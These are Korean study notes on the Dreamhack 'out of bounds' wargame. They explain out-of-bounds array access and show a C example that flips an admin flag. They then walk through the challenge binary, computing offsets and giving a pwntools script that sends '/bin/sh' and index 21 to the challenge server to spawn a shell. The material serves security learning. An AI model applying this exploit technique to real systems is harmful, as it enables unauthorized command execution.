Out of bounds | dreamhack
Memory Corruption : out of bounds
배열 : 자료형의 element요소로 구성 , 각 위치 idx
-> 배열의 임의 인덱스에 접근할 수 있는 취약점 : out of bounds
배열의 속성
배열은 연속된 메모리 공간 -> (요소의 개수) * (요소 자료형의 크기)
sizeof(array) = sizeof(elem) * n
배열의 길이 length = n
&sizeof[k] = array + sizeof(elem)*k
Out of Bounds (OOB)
OOB는 요소 참조 시, idx가 음수 or 배열의 길이를 벗어날 때 발생
==> 배열을 벗어난 참조
임의 주소 읽기 / 쓰기
OOB로 임의의 주소 읽기
: 읽으려는 변수와 배열의 offset 을 알아야 !
-> 변수 & 배열이 같은 segment라면, 둘 사이의 offset거리는 언제나 일정 -> 디버깅을 통해 알아낼수 o
-> 변수 & 배열이 다른 segment라면, 다른 취약점을 통해 두 변수의 주소를 구하고, 차이를 계싼
OOB로 임의 주소 쓰기
- 예제
// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c
#include <stdio.h>
#include <stdlib.h>
struct Student {
long attending;
char *name;
long age;
};
struct Student stu[10];
int isAdmin;
int main() {
unsigned int idx;
// Exploit OOB to read the secret
puts("Who is present?");
printf("(1-10)> ");
scanf("%u", &idx);
stu[idx - 1].attending = 1;
if (isAdmin) printf("Access granted.\n");
return 0;
}
pwndbg > i var stu
pwndbg > i var isAdmin
을 통해서 두 변수간의 offset 거리 차를 비교 => 240바이트 = 24바이트 (stu1 요소) * 10개
=> 10번째 idx에 isAdmin변수가 존재
==> idx에 11을 입력하면 "acess granted" 출력
out_of_bound
- i386 (32bit)
- nx, canary 적용
- pie 미적용, partial RELRO
주요 코드 분석
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
- name을 "전역변수"에 16바이트만큼 - read를 통해 name을 읽어 들이고 idx로 command실시
- idx에 정상이면 0~3, 그러나 범위 유효성검사가 존재하지 않기에 타 주소를 불러올 수 o
=> OOB 취약점
시나리오
(목표) system내부의 command[idx]의 결과가 "/bin/sh"가 되도록 하는 것
1. command 와 name의 주소 확인
: PIE 가 꺼져 있기에 실행 시마다 일정한 주소에 위치
command 주소 : 0x804a060
name 주소 : 0x804a0ac => 76 바이트 차이
현재 archi는 32비트이므로 4바이트로 표현
=> command[0] = 0x804a060
=> command[1] = 0x804a060 + 4
=> command[19] = 0x804a060 + 4*19(76) ==>name을 가리킴
2. system함수에 인자 전달
name에 "/bin/sh"가 저장 ==> name의 주소를 인자로 전달해야함
name 주소 : 0x804a0ac
Exploit code
from pwn import *
p = remote("host3.dreamhack.games", 18187)
#name에 전송될 payload
# 8바이트의 "/bin/sh\x00"을 넣고 name의 주소를 붙여 12바이트 저장
payload = b"/bin/sh\x00" + p32(0x804a0ac)
p.sendline(payload)
# command[19 + 2] = *(name + 8) = 0x804a0ac
p.sendline(b"21")
p.interactive()